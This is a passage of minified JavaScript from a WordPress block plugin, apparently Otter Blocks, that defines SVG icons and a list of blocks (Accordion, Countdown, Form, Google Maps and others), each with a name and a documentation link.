1-1z"})),(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z"})),(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z"})),(0,o.createElement)(_t.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(_t.Path,{d:"M9 20h6V9H9v11zM4 4v1.5h16V4H4z"})),(0,o.createElement)(_t.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(_t.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"})),(0,o.createElement)(_t.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(_t.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"}),(0,o.createElement)(_t.Rect,{x:"16.5",y:"14.5",width:"15",height:"19",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"18.5",y:"16.5",width:"11",height:"3",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"18.5",y:"22.5",width:"11",height:"2",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"18.5",y:"26.5",width:"11",height:"5",rx:"0.5",stroke:"#ED6F57",fill:"none"})),(0,o.createElement)(_t.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",fill:"none",xmlns:"http://www.w3.org/2000/svg",fill:"none"},(0,o.createElement)(Ne.Circle,{cx:"37.5",cy:"21.5",r:"2",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Path,{d:"M29 28.9V19.2261C29 19.1392 29.103 19.0937 29.1673 19.1521L34.5 24L39.8086 28.826C39.8762 28.8875 39.8327 29 39.7413 29H34.5H29.1C29.0448 29 29 28.9552 29 28.9Z",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)("mask",{id:"path-3-inside-1_3034_34948",fill:"white"},(0,o.createElement)(_t.Path,{d:"M25 16C25 15.4477 25.4477 15 26 15H42C42.5523 15 43 15.4477 43 16V32C43 32.5523 42.5523 33 42 33H26C25.4477 33 25 32.5523 25 32V16Z"})),(0,o.createElement)(_t.Path,{d:"M24 16C24 14.8954 24.8954 14 26 14H42C43.1046 14 44 14.8954 44 16H42H26H24ZM44 32C44 33.1046 43.1046 34 42 34H26C24.8954 34 24 33.1046 24 32H26H42H44ZM26 34C24.8954 34 24 33.1046 24 32V16C24 14.8954 24.8954 14 26 14V16V32V34ZM42 14C43.1046 14 44 14.8954 44 16V32C44 33.1046 43.1046 34 42 34V32V16V14Z",fill:"#ED6F57",mask:"url(#path-3-inside-1_3034_34948)"}),(0,o.createElement)(_t.Path,{d:"M5 18H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(_t.Path,{d:"M5 22H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(_t.Path,{d:"M5 26H21",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(_t.Path,{d:"M5 30H13.8889",stroke:"#ED6F57","stroke-linecap":"round",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"1.5",y:"8.5",width:"45",height:"31",rx:"0.5",stroke:"#ED6F57",fill:"none"}),(0,o.createElement)(_t.Rect,{x:"42",y:"11",width:"2",height:"2",rx:"1",fill:"#ED6F57"}));const St=(0,o.createElement)(_t.SVG,{"data-target":"generator-icon",xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",style:{color:"transparent"}},(0,o.createElement)(_t.Path,{d:"M6 17V21",stroke:"url(#paint0_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M4 19H8",stroke:"url(#paint1_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M17 3V7",stroke:"url(#paint2_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M15 5H19",stroke:"url(#paint3_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M6.5 5C6.5 6.933 8.067 8.5 10 8.5",stroke:"url(#paint4_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M10 8.5C8.067 8.5 6.5 10.067 6.5 12",stroke:"url(#paint5_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M6.5 12C6.5 10.067 4.933 8.5 3 8.5",stroke:"url(#paint6_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M3 8.5C4.933 8.5 6.5 6.933 6.5 5",stroke:"url(#paint7_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M11.609 15.778C14.202 15.778 16.304 13.676 16.304 11.083",stroke:"url(#paint8_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M16.3051 11.083C16.3051 13.676 18.4071 15.778 21.0001 15.778",stroke:"url(#paint9_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M21.0001 15.7781C18.4071 15.7781 16.3051 17.8801 16.3051 20.4731",stroke:"url(#paint10_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Path,{d:"M16.305 20.4731C16.305 17.8801 14.203 15.7781 11.61 15.7781",stroke:"url(#paint11_linear_3599_37937)","stroke-width":"1.5","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Defs,null,(0,o.createElement)(_t.LinearGradient,{id:"paint0_linear_3599_37937",x1:"6",y1:"17",x2:"6",y2:"21",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint1_linear_3599_37937",x1:"6",y1:"18.5",x2:"6",y2:"19.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint2_linear_3599_37937",x1:"17",y1:"3",x2:"17",y2:"7",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint3_linear_3599_37937",x1:"17",y1:"4.5",x2:"17",y2:"5.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint4_linear_3599_37937",x1:"8.25",y1:"5",x2:"8.25",y2:"8.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint5_linear_3599_37937",x1:"8.25",y1:"8.5",x2:"8.25",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint6_linear_3599_37937",x1:"4.75",y1:"8.5",x2:"4.75",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint7_linear_3599_37937",x1:"4.75",y1:"5",x2:"4.75",y2:"8.5",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint8_linear_3599_37937",x1:"13.9565",y1:"11.083",x2:"13.9565",y2:"15.778",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint9_linear_3599_37937",x1:"18.6526",y1:"11.083",x2:"18.6526",y2:"15.778",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint10_linear_3599_37937",x1:"18.6526",y1:"15.7781",x2:"18.6526",y2:"20.4731",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint11_linear_3599_37937",x1:"13.9575",y1:"15.7781",x2:"13.9575",y2:"20.4731",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),Ct=((0,o.createElement)(_t.SVG,{width:"20",height:"21",viewBox:"0 0 20 21",fill:"none",style:{color:"transparent"},xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(_t.Path,{d:"M17.5044 8.5V20C17.5044 20.3 17.3044 20.5 17.0044 20.5H3.00439C2.70439 20.5 2.50439 20.3 2.50439 20V2C2.50439 1.7 2.70439 1.5 3.00439 1.5H12.8044",stroke:"url(#paint0_linear_3726_618)","stroke-linecap":"round"}),(0,o.createElement)(_t.Path,{d:"M5.00439 3.5H10.0044C10.3044 3.5 10.5044 3.7 10.5044 4V6C10.5044 6.3 10.3044 6.5 10.0044 6.5H5.00439C4.70439 6.5 4.50439 6.3 4.50439 6V4C4.50439 3.7 4.70439 3.5 5.00439 3.5Z",stroke:"url(#paint1_linear_3726_618)"}),(0,o.createElement)(_t.Path,{d:"M5.00439 9.5H13.0044C13.3044 9.5 13.5044 9.7 13.5044 10V11C13.5044 11.3 13.3044 11.5 13.0044 11.5H5.00439C4.70439 11.5 4.50439 11.3 4.50439 11V10C4.50439 9.7 4.70439 9.5 5.00439 9.5Z",stroke:"url(#paint2_linear_3726_618)"}),(0,o.createElement)(_t.Path,{d:"M5.00439 13.5H15.0044C15.3044 13.5 15.5044 13.7 15.5044 14V18C15.5044 18.3 15.3044 18.5 15.0044 18.5H5.00439C4.70439 18.5 4.50439 18.3 4.50439 18V14C4.50439 13.7 4.70439 13.5 5.00439 13.5Z",stroke:"url(#paint3_linear_3726_618)"}),(0,o.createElement)(_t.Path,{d:"M16.0044 7C16.0044 5.3 17.3044 4 19.0044 4C17.3044 4 16.0044 2.7 16.0044 1C16.0044 2.7 14.7044 4 13.0044 4C13.8044 4 14.6044 4.3 15.1044 4.9C15.7044 5.4 16.0044 6.2 16.0044 7Z",stroke:"url(#paint4_linear_3726_618)","stroke-linecap":"round","stroke-linejoin":"round"}),(0,o.createElement)(_t.Defs,null,(0,o.createElement)(_t.LinearGradient,{id:"paint0_linear_3726_618",x1:"10.0044",y1:"1",x2:"10.0044",y2:"21",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint1_linear_3726_618",x1:"7.50439",y1:"3",x2:"7.50439",y2:"7",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint2_linear_3726_618",x1:"9.00439",y1:"9",x2:"9.00439",y2:"12",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint3_linear_3726_618",x1:"10.0044",y1:"13",x2:"10.0044",y2:"19",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint4_linear_3726_618",x1:"16.0057",y1:"1",x2:"16.0057",y2:"7.0025",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})))),(e={})=>(0,o.createElement)(_t.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",...e},(0,o.createElement)(_t.G,{"clip-path":"url(#clip0_1028_2592)"},(0,o.createElement)("path",{d:"M20 3H4C3.45 3 3 3.45 3 4V19C3 19.55 3.45 20 4 20H11.502C12.052 20 12.502 19.55 12.502 19V12H20C20.55 12 21 11.55 21 11V4C21 3.45 20.55 3 20 3ZM11.502 19H4V12H11.502V19ZM4 4H20V11H12.502V3.82L11.502 3.64V11H4V4Z",fill:"url(#paint0_linear_1028_2592)"}),(0,o.createElement)("path",{d:"M16.8007 12.7084C16.8822 12.5432 17.1178 12.5432 17.1993 12.7084L18.1239 14.5818C18.1562 14.6474 18.2188 14.6929 18.2912 14.7034L20.3586 15.0038C20.5409 15.0303 20.6137 15.2543 20.4818 15.3829L18.9858 16.8411C18.9334 16.8922 18.9095 16.9657 18.9219 17.0378L19.275 19.0969C19.3062 19.2785 19.1156 19.4169 18.9526 19.3312L17.1034 18.359C17.0387 18.325 16.9613 18.325 16.8966 18.359L15.0474 19.3312C14.8844 19.4169 14.6938 19.2785 14.725 19.0969L15.0781 17.0378C15.0905 16.9657 15.0666 16.8922 15.0142 16.8411L13.5182 15.3829C13.3863 15.2543 13.4591 15.0303 13.6414 15.0038L15.7088 14.7034C15.7812 14.6929 15.8438 14.6474 15.8761 14.5818L16.8007 12.7084Z",fill:"url(#paint1_linear_1028_2592)"})),(0,o.createElement)(_t.Defs,null,(0,o.createElement)(_t.LinearGradient,{id:"paint0_linear_1028_2592",x1:"12",y1:"3",x2:"12",y2:"20",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)(_t.LinearGradient,{id:"paint1_linear_1028_2592",x1:"17",y1:"12.3046",x2:"17",y2:"19.5407",gradientUnits:"userSpaceOnUse"},(0,o.createElement)("stop",{"stop-color":"#ED6F57"}),(0,o.createElement)("stop",{offset:"1","stop-color":"#F22B6C"})),(0,o.createElement)("clipPath",{id:"clip0_1028_2592"},(0,o.createElement)("rect",{width:"18",height:"17",fill:"white",transform:"translate(3 3)"}))))),Pt=[{slug:"themeisle-blocks/accordion",name:(0,De.__)("Accordion","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 10H4v5h16v-5ZM4 9a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1H4Zm16-4H4v2h16V5ZM4 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H4Zm16 14H4v2h16v-2ZM4 17a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1672-accessibility-blocks#accordion"},{slug:"themeisle-blocks/advanced-heading",name:(0,De.__)("Advanced Heading","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{d:"M15.999 6.455v12.39h.651c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-2.541c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h.651v-5.88H6.843v5.88h.651c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399H4.953c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h.651V6.455h-.651c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h2.541c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-.651v5.355h7.917V6.455h-.651c-.364 0-.546-.133-.546-.399v-.357c0-.266.182-.399.546-.399h2.541c.364 0 .546.133.546.399v.357c0 .266-.182.399-.546.399h-.651Z"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M17.5 3a.5.5 0 0 1 .5-.5h4a.5.5 0 0 1 0 1h-4a.5.5 0 0 1-.5-.5Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 5.5a.5.5 0 0 1-.5-.5V1a.5.5 0 0 1 1 0v4a.5.5 0 0 1-.5.5Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1686-global-defaults-blocks#advanced-heading"},{slug:"themeisle-blocks/business-hours",name:(0,De.__)("Business Hours","otter-blocks"),isPro:!0,icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M16.347 8.36a.477.477 0 0 1-.694 0l-3.12-3.243L9.415 8.36a.477.477 0 0 1-.693 0 .524.524 0 0 1 0-.72l3.466-3.604a.48.48 0 0 1 .693 0l3.467 3.604a.524.524 0 0 1 0 .72Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 9H4v10h16V9ZM4 8h16a1 1 0 0 1 1 1v10a1 1 0 0 1-1 1H4a1 1 0 0 1-1-1V9a1 1 0 0 1 1-1Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M8 15.5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 0 1h-7a.5.5 0 0 1-.5-.5Zm-3-3a.5.5 0 0 1 .5-.5h13a.5.5 0 0 1 0 1h-13a.5.5 0 0 1-.5-.5Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{d:"M14 3.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0Z"})),docLink:"https://docs.themeisle.com/article/1679-business-blocks#business-hours"},{slug:"themeisle-blocks/button-group",name:(0,De.__)("Button Group","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 5H4v5h16V5ZM4 4a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M5.5 7a.5.5 0 0 0 0 1h13a.5.5 0 0 0 0-1h-13ZM20 14H4v5h16v-5ZM4 13a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M5.618 16a.5.5 0 0 0 0 1h12.764a.5.5 0 0 0 0-1H5.618Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1686-global-defaults-blocks#button-group"},{slug:"themeisle-blocks/circle-counter",name:(0,De.__)("Circle Counter","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M12 21a9 9 0 1 0 0-18 9 9 0 0 0 0 18Zm0-1.346a7.654 7.654 0 1 1 0-15.308 7.654 7.654 0 0 1 0 15.308ZM12 22c5.523 0 10-4.477 10-10S17.523 2 12 2 2 6.477 2 12s4.477 10 10 10Zm0-3.346a6.654 6.654 0 1 1 0-13.308 6.654 6.654 0 0 1 0 13.308Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M6.005 18.713a9 9 0 0 1-2.115-2.81.355.355 0 0 1 .01-.335.615.615 0 0 1 .378-.296c.316-.091.812.079 1.128.615a7.655 7.655 0 1 0 8.1-11.392c-.61-.122-.934-.535-.951-.864a.615.615 0 0 1 .155-.454.355.355 0 0 1 .314-.119 9 9 0 1 1-7.019 15.655Zm-3.016-2.377c-.4-.832.123-1.768 1.011-2.025.888-.256 1.798.272 2.267 1.068a6.655 6.655 0 1 0 7.042-9.903c-.905-.182-1.703-.869-1.753-1.791-.049-.923.664-1.725 1.581-1.62A10 10 0 1 1 2.99 16.337Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{d:"M4.182 14.868c-.867.318-1.324 1.289-.866 2.091A10 10 0 1 0 13.921 2.186c-.906-.177-1.68.566-1.704 1.49-.024.923.717 1.671 1.606 1.924a6.654 6.654 0 1 1-7.304 10.174c-.524-.761-1.47-1.224-2.337-.906Z"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M6.36 19.013a9 9 0 0 1-2.175-2.55.355.355 0 0 1-.015-.335.615.615 0 0 1 .357-.321c.308-.114.816.021 1.168.534a7.653 7.653 0 1 0 8.402-11.703c-.599-.17-.889-.607-.88-.936a.615.615 0 0 1 .19-.441.355.355 0 0 1 .322-.093 9 9 0 1 1-7.37 15.845ZM3.315 16.96c-.458-.802-.001-1.773.866-2.091.868-.318 1.813.145 2.337.906A6.655 6.655 0 1 0 13.823 5.6c-.889-.253-1.63-1-1.606-1.924.024-.924.798-1.667 1.704-1.49A10 10 0 1 1 3.316 16.96Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1669-tracking-blocks#circle-counter"},{slug:"themeisle-blocks/countdown",name:(0,De.__)("Countdown","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M9 9H3v6h6V9ZM3 8a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1H3Zm18 1h-6v6h6V9Zm-6-1a1 1 0 0 0-1 1v6a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1h-6Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{d:"M11 10a1 1 0 1 1 2 0 1 1 0 1 1-2 0Zm0 4a1 1 0 1 1 2 0 1 1 0 1 1-2 0Z"})),docLink:"https://docs.themeisle.com/article/1669-tracking-blocks#countdown"},{slug:"themeisle-blocks/flip",name:(0,De.__)("Flip Card","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M11.5 7V4h1v3A2.5 2.5 0 0 0 15 9.5h4v1h-4A3.5 3.5 0 0 1 11.5 7Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M11 4H5v16h14v-8a8 8 0 0 0-8-8ZM5 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1v-8a9 9 0 0 0-9-9H5Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1673-popularity-block#flip-card"},{slug:"themeisle-blocks/font-awesome-icons",name:(0,De.__)("Icon","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 4H4v16h16V4ZM4 3a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V4a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{d:"M11.776 7.454a.25.25 0 0 1 .448 0l1.187 2.406a.25.25 0 0 0 .189.136l2.654.386a.25.25 0 0 1 .139.427l-1.921 1.872a.25.25 0 0 0-.072.221l.453 2.644a.25.25 0 0 1-.362.263l-2.375-1.248a.25.25 0 0 0-.232 0L9.509 15.81a.25.25 0 0 1-.362-.263l.453-2.644a.25.25 0 0 0-.072-.221l-1.92-1.872a.25.25 0 0 1 .138-.427l2.654-.386a.25.25 0 0 0 .189-.136l1.187-2.406Z"})),docLink:"https://docs.themeisle.com/article/1676-useful-blocks#icon"},{slug:"themeisle-blocks/form",name:(0,De.__)("Form","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M19 3H5v18h14V3ZM5 2a1 1 0 0 0-1 1v18a1 1 0 0 0 1 1h14a1 1 0 0 0 1-1V3a1 1 0 0 0-1-1H5Z",clipRule:"evenodd"}),(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M17 5H7v2h10V5ZM7 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H7Zm10 7H7v1h10v-1ZM7 10a1 1 0 0 0-1 1v1a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-1a1 1 0 0 0-1-1H7Zm10 5H7v4h10v-4ZM7 14a1 1 0 0 0-1 1v4a1 1 0 0 0 1 1h10a1 1 0 0 0 1-1v-4a1 1 0 0 0-1-1H7Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1674-form-blocks"},{slug:"themeisle-blocks/google-map",name:(0,De.__)("Google Maps","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M16.453 13.552C17.429 11.962 18 10.499 18 9.125 18 5.725 15.297 3 12 3S6 5.726 6 9.125c0 1.374.57 2.837 1.547 4.427.975 1.586 2.285 3.19 3.648 4.859l.004.004.801.983c.267-.33.535-.657.801-.983l.004-.004c1.363-1.669 2.673-3.273 3.648-4.86Zm-3.813 6.645c.31-.384.624-.769.939-1.153C16.286 15.732 19 12.412 19 9.125 19 5.19 15.866 2 12 2S5 5.19 5 9.125c0 3.287 2.714 6.607 5.421 9.919.315.384.629.769.939 1.153.216.268.43.535.64.803.21-.268.424-.535.64-.803ZM15.5 9a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0Zm-1 0a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0Z",clipRule:"evenodd"})),docLink:"https://docs.themeisle.com/article/1675-location-blocks#google-maps"},{slug:"themeisle-blocks/icon-list",name:(0,De.__)("Icon List","otter-blocks"),icon:()=>(0,o.createElement)(_t.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(_t.Path,{fillRule:"evenodd",d:"M20 6H9v2h11V6ZM9 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H9Zm11 6H9v2h11v-2ZM9 10a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9Zm11 6H9v2h11v-2ZM9 15a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h11a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H9ZM6 6H4v2h2V6ZM4 5a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H4Zm2 6H4v2h2v-2Zm-2-1a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h2a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Zm2 6H4v2h2v-2Zm-2-1a1 1 0 0 0-1 